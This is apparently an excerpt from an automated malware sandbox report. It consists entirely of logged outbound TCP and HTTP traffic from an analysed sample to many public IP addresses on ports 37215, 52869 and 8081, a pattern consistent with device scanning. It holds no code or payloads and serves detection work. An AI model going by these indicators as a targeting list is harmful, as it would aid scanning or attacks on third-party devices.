Source: global traffic	TCP traffic: 41.180.195.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.245.238.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 141.25.137.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.77.202.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 47.131.16.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 72.146.47.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.71.22.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 158.69.14.215 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 13.100.171.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 133.0.49.199 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.44.153.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.153.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 181.36.87.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 13.50.25.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.54.174.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 34.37.107.29 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.93.68.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.94.253.67 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 8.55.90.119 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.228.188.189 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 160.122.171.134 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 80.12.100.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 176.71.117.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.45.25.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 71.198.103.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.250.4.90 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.218.87.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 131.143.187.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 206.233.127.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.202.208.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 141.224.95.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 211.100.123.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 74.231.66.1 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.217.12.33 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 72.5.198.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 35.112.217.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.224.141.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 57.201.12.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.171.137.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.207.143.98 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.218.44.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.164.24.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 93.255.94.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.69.18.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 54.175.6.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 162.74.219.77 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 112.188.71.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 4.79.178.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 185.102.251.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 112.81.247.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 45.43.43.248 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 152.71.212.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 38.32.235.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.66.212.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.181.156.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 181.217.27.35 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 208.228.135.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 93.49.211.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 153.17.12.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 59.126.120.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 87.189.73.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.108.206.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 36.80.25.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 130.69.221.111 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.29.206.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.37.177.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 160.251.106.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.203.119.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.151.174.122 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 184.18.102.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.191.122.98 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 147.24.204.167 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 35.91.143.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 163.92.213.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 150.98.203.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 201.47.46.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 109.179.79.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 85.153.211.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.8.234.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.255.88.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 202.59.35.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.96.67.110 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 190.84.44.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.176.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 101.191.129.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.2.29.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.24.4.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.170.66.154 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.122.167.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.34.240.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 65.29.160.70 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 23.170.161.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 52.174.147.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.88.129.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 119.153.197.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.18.180.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.182.251.240 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 155.66.179.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 63.62.30.183 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 175.154.70.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 98.169.227.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.159.16.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 8.165.240.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 25.62.180.67 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.13.78.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 130.190.186.142 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.198.216.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.162.189.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 116.213.32.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.170.105.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 167.27.38.190 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.220.26.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 93.146.13.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 74.93.122.98 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.27.117.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 72.13.90.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 121.241.252.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.229.175.12 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.89.17.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 124.170.244.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 86.112.24.122 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.124.131.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.198.144.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 205.89.121.149 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.78.32.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.20.168 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.15.206.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 99.148.210.83 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.173.192.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.152.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 175.30.40.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 44.127.140.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 183.180.39.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.30.62.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 71.96.116.185 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.252.131.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.40.55.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 19.130.123.151 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 61.165.104.213 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 44016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36146 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60310 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52376 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46882 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40108 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47716 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58516 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49272 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49146 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44202 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44984 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40382 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33976 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58530 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53556 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51698 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54574 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55808 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45714 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41196 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55296 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44600 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33934 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36138 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42018 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55102 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43610 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41514 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59048 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35242 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33604 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44480 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35610 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53592 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60118 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39910 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36162 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55068 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37326 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40402 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33478 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48196 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46342 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51218 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48730 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59652 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55550 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51954 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51218 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46342 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48730 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59652 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55550 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51954 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34388 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57236 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47030 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60522 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43334 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56082 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42316 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47768 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38976 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54828 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36662 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42798 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46728 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54374 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43344 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48856 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48354 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33816 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59540 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47482 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53244 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41312 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46400 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52796 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47046 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44220 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46748 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55808 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60450 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54000 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44526 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43462 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42764 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59306 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43400 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42766 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52958 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57638 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41912 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45678 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51920 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51692 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36548 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56844 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36454 -> 52869
